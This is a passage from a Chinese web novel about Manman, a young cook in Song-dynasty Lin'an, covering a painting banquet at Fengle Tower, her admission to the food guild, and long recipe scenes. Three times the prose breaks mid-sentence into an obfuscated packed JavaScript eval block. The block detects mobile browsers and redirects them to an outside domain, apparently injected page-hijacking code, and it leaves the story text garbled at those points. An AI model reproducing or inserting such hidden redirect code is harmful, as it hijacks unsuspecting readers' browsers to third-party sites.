“正是，小娘子晨间在御街摆摊，午间晚间也有食肆，用这奈花做的奈花索粉，香甜清凉，很是爽口。” 薛以桓轻笑，斜眼看着弟弟，只见他不苟言笑，义正言辞，似乎在讨论什么政事。 在场不少人也曾听闻这小娘子的妙手，不过有的碍于身份，不曾去品尝过。也有不拘一节的，早已是满满家的常客，当即也谈论起来，铺子装潢如何，味道如何，甚至谈及这小厨娘，正直青春年华，面若桃李，更别说谈吐之间笑语盈盈。 文人们好舞文弄墨，也好饮酒吃宴，就着赏画，听薛以安这么一说，也来了兴致，当即吩咐小厮: “薛小郎君说的，倒是叫人垂涎三尺！我们今日，也尝一尝新鲜，倒是不知临安有这样一家名不见经传的小食肆！你且去这小娘子铺子里，买上三十份奈花索粉送过来！” 小厮跑的飞快，一路跑进店里一路吆喝:“小娘子！丰乐楼要三十份奈花索粉！” 店里忙得火热，众人听了都是一惊，丰乐楼，这临安最大的酒楼正点，怎的还上这里买上吃食了？ 满满心里一惊，问道:“丰乐楼？” 小厮笑呵呵鞠了鞠手:“丰乐楼的各位官人们正赛画呢，一位小官人画了小娘子采奈花图，大赞小娘子庖厨之技，这不，各位官人都等着尝一尝呢！” 满满一听，后知后觉反应过来，脸颊一红，却又立刻想到，这可是个宣传的好机会。这奈花索粉做的容易，利润也大，若是大量卖，岂不是狠赚一笔？ 满满挤了挤眼睛，递过去一杯茶:“劳您跑一趟，这三十碗奈花索粉，便当是我请各位官人吃的！敢问，这画可否卖给我？” 小厮一听，忙道:“哎哟，您客气了！只是这画的是，哪能是我决定的！不过，小娘子，这画可是不便宜，能在咱们丰乐楼雅集的，可都是人中龙凤，卖不卖另说，您可得带不少银子！这样，您跟我走一趟？” 过了一会，丰乐楼中，只见几名闲汉拎着食盒走了进来，后边还跟着一位眼睛提溜转的小娘子。 各位文人扭头去看，方才觉得这薛小郎君的话当真是传神，别说这身形了，就连这小娘子浑身透出的一股子机灵劲，都画得明明白白，如同本人走出了画里一般。 小娘子服了服身，笑道:“平日里想着这等东西哪能入官人们的金口，难为各位官人瞧得起，这不，连忙做出来给各位送来了，请各位尝尝。另外还给各位准备了小店的特供，滴酥牡丹笑，这热天吃这些最合适不过。” 小娘子顿了顿，又问道: “官人们，容我唐突一句，我听方才的小哥说到了一副奈花林的画，敢问这画可卖否？” 15. 行会 薛以桓挑了挑眉，打量了满满一眼，打趣道:“通常来说，我们宴上的画都是不卖的，各自收好珍藏，不过，既然这画画的是小娘子，倒是也有几分缘分，卖不卖，都听主人的。” 薛以安脸上烧的厉害，见满满也有几分不好意思地望过来，心里有一点冷冷的小小的快乐，温声道: “这画本就是因你而来的灵感，你若是喜欢，直接拿去就好。” 满满摇了摇头:“那不成，小官人，你开个价吧。” 薛以安想了想，从前也不是没有卖过画，少说也是百两起步，但，哪能让她如此破费。于是便换了一个法子，答到: “我有一群画院的朋友，前些日子帮了我的忙，正想宴请他们，不如，就请小娘子为我设宴，算是偿还了这赠画的情谊？” 满满一听，也觉得不错，况且，这往来都是大人物，倒是给她添了些客源，连忙点头答应。 这时，在场的文人都尝过了满满带来的奈花索粉和滴酥牡丹花，齐赞味道爽口，倒是别有几分乡野之味。不少人甚至问明了满满铺子所在，打算过些日子便来尝尝。 薛以安拿起画，双手捧给满满，满满接过，打开一看，顿时呆住了，摸了摸上面的小人。那日晚上，在林子里远远一看，只觉得画的好，却没想过这样好，如今凑近一看，画上一个喜滋滋的小女郎，心里也不由得漾出一起甜蜜： “这……是我吗？” 薛以安抿了抿唇，有些试探地问道：“你……不喜欢吗？” 满满连连摇头，粲然一笑:“当然喜欢！只是……头一次有人画我呢，没想到自己竟然是这个样子，怪好笑的。” 薛以安想了想，回道:“小娘子与人交际笑语盈盈，让人看了便心生欢喜，哪里可笑，倒不如说，让人心里舒坦，想要与之结交才是。” 满满心里一暖，面上倒是有些害臊，这小官人，平日里看着矜持疏离，没想到…… “小娘子为何想要这幅画？若是……你喜欢，我可以为你多画几副，你想要什么，我便画什么就是。这幅画虽然有你，但画的太小了，如果你想要别的，尽管告诉我。” 薛以安心里跳地飞快，却鼓足勇气，看着鞋尖，飞快地说完。 满满一听，有些难为情，却又有些好笑地答道: “多谢小郎君的好意，可……我要这些画并不是为了自己观赏，当然，我并没有觉得小郎君画的不好的意思。”满满立刻补充，“我觉得画得特别好，但这东西太雅了，哪是我这样的俗人能欣赏的呢？我就是想着，这画这么好，我若是挂在店里，不失为一段佳话，一定会有更多人想来尝一尝这奈花索粉！” 薛以安初听有些失落，但一抬头，只见满满眼里亮晶晶的，似乎在想象这幅画能够带来的客源，却又觉得心里一个小小的角落被点燃了一般。 是啊，她本该是这样的小女郎。 拿上画，妥帖地收在匣子里，满满拱手道别: “小官人，敢问您贵姓？” 薛以安愣了愣，心里一喜，慌忙答道:“免贵……姓薛。” 满满笑道:“薛小郎君，日后若是不嫌弃，便上我食肆来，朋友亲人都好，只需报上薛郎君姓氏，我便请客，答谢小郎君今日赠画之谊。今日铺子里还有不少事，就不多叨扰了。” 满满离开了丰乐楼，心里只觉得更加有斗志。她只是进去草草一扫，便感叹丰乐楼之高大，壮阔，装潢之华美，雍容，若是想到自己也有一家这样大的阁楼，便是吃饭都能多吃一碗罢？ 本朝除了官报之外，民间也会发行一些小报，平日里也有孩童叫卖小报，政事异闻有之，但民生娱乐也有之。满满如今得了这样一幅画，自然是要在食肆里拱起来的，但是她一寻思，这幅画的价值，可是远不止于此， 满满带着画走进了“陶明书肆”，从前张大姑带她在临安闲逛时，就曾和她介绍过此处不仅是书肆这么简单，临安一家出名的小报便是此处书肆主人创办。满满也曾看过这小报，诸如坊市密谈，美食典故，甚至是嫁娶之事都会出现，她正打算和老板谈一谈，便借今日“丰乐楼赛画”为引子，宣传一下她的小食肆。 “小娘子，不是价钱的问题，不过各行各业都有规矩，你若是想上报，与其找我，不如去寻食店行行老商量。” 满满说明来意，这书肆掌柜陶老丈却横眉拒绝。 满满并不傻，老丈话也说的直接，几句话下来，她便明白了其中的款曲。说到行会，她率先想到的便是那日在“王厨”见到的姚行老。刚到临安时，张大姑得知她要开食肆，就曾经嘱咐过，在临安各行各业都有行会，大大小小多至四百多行，行会沟通官商，在行业的上下游都有一定的垄断，若是她当真想把食肆做大，没有行会的支持，这条路怕是难走。 她也不是没有想过加入行会，御街中段有一栋三层的茶肆，却不是任何人都能进入的，各大行会便扎根于此，她曾经也想进去申请加入行会，却被人拦在了门口，连一楼都迈不进去。 但奇怪的是，她的食肆开业至今，一直都很顺利，哪怕生意比同行好的多，曾经预想过的波折都没有发生。直到今日，似乎才隐隐约约触碰到所谓“行会”的边缘。 满满有些失落，不过又转头一想，也许到了如今，她的食肆已经小有规模，可以再试一试？ 她走到御街中段的“恒丰茶肆”，如第一次一样，才到一楼，便被门口的小厮拦住:“小娘子，本茶肆并不对外开放。” 满满递了十文钱，诚恳道:“劳您帮我通传一下，我是御街后面小宫娥四时食肆的东家，特来拜访食店行行老。” 小厮掂了掂手里的重量，抬眼打量满满穿着得体，举止合宜，像是正经人家的，便略略点头，进去了。 过了片刻，小厮出来了，此时态度却变了一个样，有些试探地恭敬道: “小娘子可是姓袁？” 满满愣了愣，点了点头:“正是。” “请随我来。” 小厮点头哈腰，似乎在接待什么大人物。满满心里不由有些好笑，却又有些感慨，这世道，谁又有什么不一样呢？不过，她不过是一个普普通通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253231|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小厨娘，最多生意比别的食肆好些，这份客气，放在她身上，未免有些太看得起她了？ 满满一路穿过好几道门，绕过几条回廊，心里咂舌，这行老过得当真滋润，不说大内了，不过寻常官家，大概也不过如此吧？ 最终停在一间茶室，满满抬头一看，面前的老丈着实是眼熟，正是前些日子见过的姚行老。满满也算是早有预料，如此也算是想得通了，姚行老估摸着她和晁大人有几分情分，故而卖她几分薄面，也是情理之中。 只见姚行老一双小却锐利的眼睛扫过来，不动声色地打量着满满，昔日有晁素臣在，姚行老略略收敛了一些，今日是他的主场，看向满满的眼神让她心里发麻。 满满心里有些慌，面上却依旧市侩地笑道:“这不是姚行老吗，前些日子，小人有幸在“王厨”和您有一面之缘，您老日理万机，怕是不记得了，不过我却日日记挂着您呢，不成想，今日又来叨扰您。” 姚行老面善地笑了笑，端起小桌上的茶，轻轻抿了一口:“袁小娘子请坐，老朽只是年纪大了，这双眼睛，可却是亮的很呐！既然见过，又怎么会不记得？” 满满笑着坐下，装作轻松闲适的样子，端起茶杯轻轻抿了一口，入口甘甜细腻，和自己平日和的天差地别，想到这里，心里默默叹气。 “姚行老，我这次来是想和您谈谈加入行会的事。”满满吸了一口气，打算介绍她提前想好的自己的小食肆的优势，正打算开口，却突然被姚行老打断。 “若是袁小娘子愿意来，老朽自然是乐意至极。不妨今日就置办手续，也不耽误小娘子办事？” 满满怔住，有些没反应过来，一双迷茫的眸子朝姚行老看去，只见老人依旧笑吟吟地，似乎也没看出她的压抑。 满满咬了咬唇，片刻后，有些犹豫地开口: “姚行老，多谢您，不过……有些话，我必须得说清楚。我知道，可能我说这些，在您眼中，多此一举，甚至得了便宜还卖乖，但我必须说清楚，”老人眉心微动，眼神从少女紧握茶杯的手指落到她犹豫却坚定的眼中。 “我和晁大人并没有任何关系，我不知其中是否存在什么误会，但您若是为了晁大人的面子收下我，我可能没办法承诺，您日后能够从晁大人那里得到什么。” 满满说完，心里一颗大石头落下。她说这番话，倒也不是为了那几分可怜的清高，若是旁人因为对这份关系的揣摩优待她几分，她甚至可能会有一些占了便宜的小得意。可是，有得必然有失，今日若是行会为了这层关系接纳了她，那必然会期待未来能够在她身上得到晁素臣的便利。 可她清楚，她和晁素臣并没有半分关系。 姚行老看着少女脸色百转千回，虽然装得老道成熟，但终归是年纪尚小，脸上藏不住事，轻轻笑出了声。 “小娘子说笑了，我这行会在行在屹立这么多年，虽然也有见不得人的勾当，但若是事事任人唯亲，嗅到一点机会便狗尾巴似的黏上去巴结，恐怕也经营不到如今。” “我接纳你，自然是有我自己的考量。” 16. 雕菰饭，鲈鱼烩 “加入了行会，你便不必日日去采买食材，行会会帮你供应各种品类，都是上好的食材，价格也公道。不仅如此，若是想招募仆役，或者发布小报，，购买酒水，行会都可以助你一臂之力。每年按照通例缴纳会费即可。” “您放心.......我不会让您亏本的。”满满被他说的脸一红，但依旧咬牙承诺。 “说到这，我的铺子最近确实有些忙不过来，您有没有合适的人引荐，要是合适，我愿意用市场价的两倍招待。” 姚行老摸了摸胡子，向外招了招手，一个小厮走上前来，姚行老轻轻吩咐几句，小厮便急忙走出去了。 “袁小娘子，既然如此，你信任我，我自然也是相信你的能力。今日，你不是想登小报吗，我已经着人按照你的吩咐给书肆主人通气了，那便祝你一炮打响，顺遂心意。” 满满刚想道谢，门外便有两个女子走进来。一个清瘦而高挑，面色苍白，看上去和满满差不多大年纪。另一个则脸圆而身肥，眼神却是憨厚而老实，年纪稍微大些。 “这二人，名叫春燕和梅梅，都是从前临安开食肆的，后来经营不下去，便投靠了我们，手艺都不错，可以一用。” 满满眼睛一转，不动声色地打量了二人，然后笑道：“既然是您推荐的人，我怎么会不放心呢。”又看向二人，作微笑状，声音里却藏着几分严肃：“大家也算是同行，你们若是愿意认真帮我，我自然也不会亏待了你们。寻常店里，给帮工大多一百文一日，我可以给你们三百文。” 二人听完，春燕眼里浮出几分笑意，倒是有几分傻傻的活泼，梅梅却眉心微跳，并没有什么特别的反应。 满满和姚行老交接完手续，又去书肆看了看小报的样刊，领着两个姑娘回到食肆，把画挂到店里最显眼的地方，又挂了横幅在店门口：“丰乐楼赛花宴魁首之作——奈花索粉。” 第二日，小报开始发行，不少人对这奈花索粉好奇，况且售价便宜，比起丰乐楼的望而却步，确实亲民了不少。满满早有准备，头一日便从行会联系了花农在露重之时采了奈花骨朵，带着春燕和梅梅，一晚上做了不少索粉。春燕憨厚老实，手艺虽然不精，却胜在踏实肯干，梅梅倒是让满满心里有些吃惊，一点就通，不管是揉面的筋道，还是火候的把控，都是一个对庖厨之道有深刻了解的人才有的娴熟。 晨间，满满照例上御街摆摊，春燕和梅梅则在铺子里卖索粉。待到满满收了摊，又回到铺子里帮忙。人们口耳相传，又因为价格适中，美味爽口，出餐速度极快，不少人竟然在铺子里前排起了队，路过的行人见此处的队伍，也很是好奇，于是排队的人便越来越多。也有不少人坐在家中，托闲汉来买。 有了春燕和梅梅在，满满可以将索粉的事放一放。今日，店里还有一件大事——不再每日悬挂食牌，而是可以想吃什么做什么。反正现在有了行会统一采买食材，她既不用担心买不到，也不用担心买多了，导致食材浪费，亏了本钱。这倒是一个大大的节约。 前来吃索粉的人，统一引着做到一楼的散客座，其余人没位子，便在门口排队买了带回家中吃。满满特意嘱咐二人：“留个心眼，别做太快，嘴巴放甜一些，眼睛瞟着客人多少，若是这队太长，便望而生畏，没人愿意排了，但若是太短了，哪里引得新客人来尝呢？” 不仅如此，满满还准备了一个竹罐，里头放满了签子，其中几支点上了红点，每人可抽一支，若是抽到红点的那支，便可以免费一份索粉。有了这个，不少小孩都来凑热闹，反正闲着没事，就站那一排，若是没抽到便不买了，若是抽到了，岂不是白占便宜？ 一楼热热闹闹，但二楼和院子里却是一片清净。寻常客人，并不能上到这里边来。 多半坐着的，都是满满摆摊收获的大主顾，点菜都是五样起步，出手也是阔气大方。 正忙活着，五位穿着常服的男子走进了食肆。满满远远瞟着，见其中三人有些眼熟，笑着走近，才发现几人中有薛以桓、蔡衡，另一位眼熟的大概也是摆摊的时候见过罢？ “袁小娘子，你这生意真是不错啊？”薛以桓挑了挑眉，打趣道，不知为何，满满总觉得，这薛大人似乎对她总是有几分微不可查的敌意。 “近日不过运气不错罢了，承蒙各位客官照顾，也正是官家励精图治，各位官人鞠躬尽瘁，才有这样的太平盛世，让我这小女子也有一方立足之地。” 各位官人交换了眼色，都是笑而不语。这小娘子他们也有几分熟悉，若是一日不吃她家的点心，竟然已经有些惦念了。本朝民风彪悍，不说民告官了，便是从前一桩趣谈，说是仁宗之时，有富户到开封状告禁中召其子妇三日未归，开封知府范讽也只得硬着头皮入禁中问过官家，将此女带回，可见百姓的地位。 更遑论这些文官，若是这小娘子恶言相向，她若不做错半分，他们拿她也没有办法。但她始终笑吟吟地，哪怕说的都是些奉承话，但听了也心生欢喜。 “袁小娘子真会说话，从前只在摊子上吃你家的点心，今日我们休沐，晨间没有吃上，这便一同来铺子里尝尝小娘子手艺。”说话人是蔡衡，满满摆摊第一日，遇上的便是他。 薛以桓踱步上前，站在那副画前，笑道：“是啊，薛某也很是好奇。不才家中有一幼弟，自从吃了小娘子的点心，家中小厨房是再也不碰了，钱袋子更是空空。” 满满不由有些好笑，同时不知为何还有些害臊，只能把几位迎进院子里的亭子下，一张檀木桌子刚好能坐下五人。此时正是夏初，院子中景致正好，隔绝外面的聒噪，又有清泉一阵阵送来凉气，让人看了神清气爽。 “几位想吃些什么？”前些日子进了行会，终于买到了酒水，满满一边倒酒，一边问道。 “小娘子看着做便好，我们几个榆木脑袋，想破头皮也不知如何烹饪更加美妙。”薛以桓笑吟吟说道。 旁边即时就有一人打趣：“这以桓最是惧内，平日在家中，吃什么何时吃都是夫人说了算，难得出来一次，莫不是在家中习惯了，连这点主也不敢做了？” 一片笑声。满满也觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276441|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些好笑，但依然回到：“那我就做一些顺应时节的小菜讨讨巧。” 满满吩咐了梅梅，去行会把食材取来，亲自下厨。 这米饭可不是普通米饭，而且一道名菜“雕菰饭”。 她吩咐梅梅在一旁看着，既然要了她在这里帮忙，她也是极有天分的，满满也不会吝啬教她。 满满掐了半篓雕菰穗子，青石臼轻舂两遍，碎壳随风扬掉。乌玉似的籽粒倒进竹筛，井水淘三回，浮沫杂屑尽除。 陶钵装满隔年陈米水，菰米吃足了水气，胀成弯弯的小月牙。 火腿取肘尖肥瘦相间处，快刀切作珊瑚丁。春笋剥壳焯水，撕成银丝细缕。新采的油菌撕伞盖，松茸片薄如蝉翼。最后在甑底垫鲜箬叶，铺上菰米，然后火腿丁、笋丝、菌片层层叠上去。 灶上铁釜滚着火腿骨吊的高汤，撇净浮油，奶白色清汤徐徐浇透米粒。松柴文火蒸半个时辰，火腿的醇香混着箬叶的草木清气咕噜咕噜往上冒。没过一会，屋子里满是米香和菌菇的野香。 趁着这个功夫，可以做一道鲈鱼烩。 提来活蹦的松江鲈，青苇叶垫着鱼鳃尚翕动。快刀刮鳞剖肚，井水冲净血丝。鱼身两面剞柳叶刀，细盐抹进纹路里腌着。 “火腿取肥三瘦七的精肉，切作杏核大的丁。冬笋尖焯过撕成丝，新姜拍碎挤汁。铁锅烧热，猪油化开，青烟起时下鱼。两面煎得金黄，鱼眼凸起便盛出。” 满满细致地教着梅梅，这丫头也。毫不含糊，动作利落，丝毫不拖泥带水。偶有一两个地方处理不好，满满提点一二便立刻学会。 梅梅眼里闪过一丝复杂神色，满满如此倾囊相授，倒是叫她心里有些不自在。 做完这些，满满接手，先用原锅余油煸火腿丁，又用姜末葱段炝锅，倾入隔年封坛的黄酒。滚沸时兑半瓢鸡汁汤，奶白汤头里沉着煎鱼。文火咕嘟着，冬笋丝掐准时辰撒进去。 灶眼压两块松炭，任那汤滚成奶白色。满满揭盖撇浮沫，淋姜汁再焖半柱香。临起锅前撒把青蒜苗，热汽一烘，辛香混着鱼鲜直往外钻。 梅梅递过来瓷盘，先垫两片焯过的莼菜，鱼卧其上如卧碧波。原汤勾薄芡浇透，唰的一声，另起小勺烧菜油，花椒粒爆香后捞弃，滚油往鱼身一泼——"嗤啦"声响里，蒜苗香混着椒香漫开。 这时，筷尖戳开鱼腹，雪蒜似的肉瓣浸在浓汤里。若是舀半勺汤拌饭，咸鲜里透出火腿的醇，舌尖还能寻到黄酒的回甘。光是想一想都觉得味美。 这时，雕菰饭已经闷好了。起锅前淋半勺山茶油，木铲翻拌间，乌米裹着红肉，火腿红衬着菌子褐。青瓷碗底垫焯过的马兰头，热饭扣上去，恰似碧翠托着玛瑙。最后，撒一把炙过的胡桃碎，脆香混着糯香，叫人直犯迷糊。 满满悄悄盛出一小勺，放在小碗里，递给梅梅：“尝尝看。” 梅梅接过，用筷子挑了一点，咀嚼间，火腿咸鲜，糯软里藏着松茸山野气。细嚼时胡桃碎在齿间蹦跳。最妙的，碗底浸透的汤汁凝成冻，拿调羹舀着吃，又香又黏。 17. 荔枝腰子 本朝人推崇羊肉，嫌弃猪肉腥臊，平素有“富者不肯吃，贫者不解煮。”的说法。但却也不是完全不吃，宫宴中就曾出现过不少猪肉的影子，不过在对猪肉的处理上也别有要求。所有公猪必须在一出生之时便去势，宰猪时也必须先放血，不仅如此，如何储存。如何腌制，也都有一番说法。满满按照一定的技巧处理猪肉，也能去去除猪肉腥臊。入口美味。 满满取鲜猪腰一对，快刀片去白膜去腥臊。平铺砧板，斜刀绕着腰子交叉密切，直刀深切入肉七分片成腰花。清水漂去血水，铁锅水滚时下姜片黄酒，腰花一受热迅速卷曲，表面上呈现出密密麻麻的颗粒状小突起，如同像荔枝的外壳，故此得名"荔枝腰子"。 腰球汆五秒即捞起装盘。白果剥壳焯去苦芯，黑木耳撕小耳。猪油化烟，蒜片炝锅，腰球与配菜同倾入锅。猛火颠勺三下，沿锅边淋酱酒汁，香味被激发出来，随着热气不断往外滚。 火光窜起半尺高，腰球裹汁蜷得更紧，纹路里吸饱琥珀般的芡。这时，撒青蒜段翻两铲起锅，白瓷盘里，“荔枝球”卧在黑耳白果间，纹路间汪着晶亮油汁。 筷尖戳开腰球，断面白花花的沁着酱色。入口先脆后糯，醋香压住脏器味，回口泛着白果清苦。 最后一道正菜，顺手做了个素的，解解荤腥。 掐得春韭一握，柳芽半筐。韭菜择去黄叶，井水漂净泥沙，指节长的段码在青花盘里。柳芽专挑未展的嫩尖，粗盐揉搓去涩，井水激过愈发碧透。 铁锅烧至微烫，菜籽油滑锅三遭。韭菜段倾入瞬间"刺啦"响，木铲急翻三下即盛，一口嚼下去还带着脆生气。 原锅余油煸姜丝，柳芽下锅如雀舌乱跳。绍兴黄酒沿锅边淋下，"嗤"的一声腾起白雾，趁这时，笋丁、木耳跟着翻两铲，韭菜回锅时撒盐粒，青黄两色缠作一团。 瓷碟先垫焯过的枸杞芽，热菜扣上去，醋香混着韭鲜，柳芽的微苦托着笋丁的鲜冒上来。临起锅前点几滴麻油，柳芽经络里还凝着清酱汁，咬开脆里透嫩，酸鲜先撞舌尖，回甘从舌根漫上来。 满满先把这四道菜端上去，又补充道：“各位官人先吃着，过一会再上一道消暑的点心解解腻。” 四道小菜都是用碧色或者雪色的瓷盘装着的，是寻常人家用的，没有什么花纹，但盘中的食物色彩相宜，在这淡色瓷盘的衬托下，让人感到一种质朴的美味。只见米粒颗颗晶莹饱满，上面还粘着亮闪闪的油珠，鲈鱼配菜清淡，绿意衬托着，然而只要稍稍靠近，便能闻到一股浓浓的鲜香，用筷子跳破了皮，晶莹的汤汁从雪白弹嫩的鱼肉里渗出来；将一颗“荔枝球”送入口中，咸中带麻，脆脆的皮在口中炸开，里面则是嫩嫩的一咬就开的腰子。此时，再来一口清甜的韭菜，春天的味道便盎然口中，冲淡方才的咸味。 “各位，我早就说吧，别看这食肆小，走进来确实别有洞天；也别看小娘子年轻，做菜的手艺却是一绝的！”蔡衡轻轻抿了一口酒，向各位同僚笑道。 满满摆摊第一日，因为一个赌注，惹得他被一些同僚笑话，如今这么一来，倒是让他有几分一雪前耻的感觉。 其他人也纷纷附和，这食肆的味道确实不错，平心而论，口感，菜色，香味，便是和丰乐楼相比，也是当之无愧的。就是店面太小，诸多招待，菜品数量，始终只有小娘子一人，难免有所疏忽。 “袁小娘子，我家中母亲常年脾胃虚弱，少食多病，吃什么菜都吃不下，不知你可愿做点菜让我带回去给我娘尝尝？”薛以桓问道，见满满愣住，又补充道：“丰乐楼这些大酒楼固然味道好，可是用料太杂，难免伤了脾胃，小娘子做菜颇为质朴，清淡却又别有滋味。” 满满笑道：“自然是可以，我晚饭做了遣人送到您府上便是。” “小娘子，我家中有个妹妹自幼好吃甜食，可否帮我也做一份樱桃煎？我前些日子刚得了一筐上好的新鲜樱桃，吃不完放着也是坏掉，我另给你一两银子作报酬，留五十份送到我宅中，剩下的樱桃便赠予小娘子了。” 满满一拍即合，她前些日子正寻思着买些樱桃呢，阿娘最爱吃樱桃，可是从前家中窘迫，没有机会，如今赚了钱，却是连行会也买不到。这个时节，大部分樱桃都没成熟，唯一有的也是从南方大老远运过来的，都被大酒楼买去了。但一两银子，未必也太多了！！ “官人，您真是太客气了，这时节樱桃可金贵了，您给我剩了些就已经是千恩万谢了，怎么还能收您的钱呢。” 这人虽然也着常服，却言谈举止比旁人随意些，动作只见也都带着一股子男子气概，挥了挥手：“这樱桃不少，想必要费小娘子不少气力，不必客气。在下宣节左校尉，在军中有不少弟兄，有一年在外作战，天寒地冻，粮草不足，一碗粥里连米都看不见，那个时候还开玩笑说，最怀念的，莫过于这一碗樱桃煎。” 听到这，顾从眼神突然放空，看了出去，一旁的众人也都默不作声。与北面的战事屡屡失利，一直是心照不宣的不愿被揭开的伤疤。 满满心里也有所触动，她虽然是一个商人，但却也有一颗拳拳之心，当即跪了下来，若是她从前的话大都是奉承，逢场作戏，如今这一跪，却是真心的： “官人，您是保家卫国的大英雄，您的战友也是一样。我虽然是一个女子，生在闺阁，没有见过什么世面，但是也知道将士们鞠躬尽瘁的大恩，更是万万不能收您的报酬了。若是我做这一点点心能让将士们心头暖一暖，我便也算是功德无量了，若是收了这钱，才当真是叫我心里难安。” 众人看过来，心里有些唏嘘，却也觉得有些温暖，满满这话说的真诚，一个人的真情骗不了人，但看她一双眼里的执拗，让众人心里都有些受到触动。 顾从忙把满满虚扶起来，脸上神情挣扎：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283820|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小娘子，你虽是妇人，但这一番心肠却着实叫顾某惭愧。我已经在家中赋闲多年了，这时局.......唉，不谈也罢！空有一腔热血罢了，没什么好佩服的！” “大人说的是哪里话，我人微言轻，浮萍之身，不敢妄议朝政，但将士们的赤胆忠心，百姓们又怎么会看不到？”她又恢复了那副笑吟吟地模样，如同方才不过是谈论家常： “若是以后有什么需要的，大人千万要告知我，便是贴钱做，我也是要做的，这样报国的好事，倒也是让我沾沾光呀，况且，上哪去再找一个手艺好还不要钱使唤的厨娘呀？” 听闻此话，众人皆是会心一笑，对满满的态度却也不再轻浮，举止之间，倒是像对待大家小姐一般，多了几分敬重。 满满一一给各位添上饭，便退了出去，此时春燕正把索粉卖完，却还有不少人排着队，春燕询问满满是否还赶着时间再做点，满满略一思索，朝众人朗声道： “多谢各位客官的厚爱，今日索粉已经售空，小店里边现做各类菜市，菜品美味，要价便宜，就连不少达官贵人都常来呢！每天光这些就忙不过来！明日还会做一些，不过不多了，若是各位方便，请明日晨时再来。” 客人们听后，有的人厌厌地回去，有人上前提前付钱让明日送到家里来，还有人被满满方才一番话吸引住，进店打算在此用饭。 今日店里人多，有了春燕和梅梅在，兰嫂子便早早的去了吴嫂子铺子里闲聊。 “我前些日子和你说的那些话你还放在心上罢？”吴嫂子遥遥望着满满铺子里红火的生意，不由暗暗咋舌，这小娘子当真是能干，搬来了不少时间，怕是赚了不少钱了？ 兰嫂子待人热情，但也绝不是一个心思单纯地，眼睛往旁边一瞟，道：“哎呀，你和我说的，我自然是放心上的，但我这个老婆子，没见过什么世面，这些个金龟婿，哪里是我能看出来的，还是你慧眼识珠，我的好妹妹，你和我讲讲？” 吴嫂子心里暗暗打着算盘，她有一个侄子，懒惰闲散，离了爹娘便养活不了自己，但家底丰厚，她那姐姐姐夫也不是好拿捏的，若是这是办成了，恐怕其间能得她不少好处，正欲给兰嫂子介绍，却被兰嫂子反问： “我家满满挂在铺子里那幅画，你看了吧？” 吴嫂子愣了愣，点了点头：“你问这个做甚？” “画这幅画的小官人，我听着是姓薛的，你可知道是谁？” 吴嫂子眉心微动，她记着那画上似乎留了一个“闲鹤山人”的名号，再想了想姓“薛”的，这副画又是在丰乐楼赛画宴上得的，心里一条： “我的好姐姐，你问这人做甚？这可是你家满满攀不上的高枝呐。” 兰嫂子轻轻一笑，不经意地拨动着衣裳：“都是年轻时过来的，男人们那点心思我怎么瞧不清楚。我估摸着，这高枝，怕是瞧上我家满满了。” 18. 冒雨送膳 兰嫂子回到铺子里，此时铺子里的食客已经几乎散去，几人才开始忙活晚饭，袁大哥也已经回来。兰嫂子见满满和两个丫头还在一旁忙活，问袁大哥： “怎么还在忙？待会还有事吗？” 袁大哥淡淡地喝了一口茶，眼中浮起几分意味不明的笑容：“说是有位官人特地点了菜，晚饭时做好送过去。” 兰嫂子有些惊讶，这满满虽然平素在赚钱一事向来积极，但到了饭点却是绝不可能耽误的。便是再忙，也得自己吃过了，然后再料理。便是这食肆，晚间也不营业，关店也比旁的店早一些，就为了休息休息，紧接着还得备下第二日出摊的点心。 “这是哪位官人，值得这么大费周章？”只见满满守在炉子前，一刻不停地瞧着火候，兰嫂子走过去，问道：“满满，你煮着便是，先来吃饭吧？何必时时瞧着呢。” 满满一边扇着扇子，一边回道：“这位夫人脾胃不好，得用小火慢慢地熬，趁着日落之前送过去，别误了饭点才好。娘，你们先吃吧，我让春燕和梅梅已经做好了，不用等我了。” 兰嫂子心里一动，问道：“夫人？哪位夫人呀？” 满满随口回道：“就是那日来送模子的小官人的娘，对了，那晚去城外奈花林您和爹都见过啊。”满满抿了抿唇，沉吟道：“人家送了模子，又送了画，今日他兄长来铺子里，还带了不少客人，这可是贵客呀，可得好好笼络着。” 兰嫂子眼睛一转，斜斜看了满满一眼，问道：“你当真是这么想的？”半晌，又试探道：“我和吴嫂子商量着，你从宫里出来，年纪也不小了，古今女子，到了你这个年级，也要成家了。那日在铺子门口，还是在奈花林里，我和你爹冷眼瞧着......” 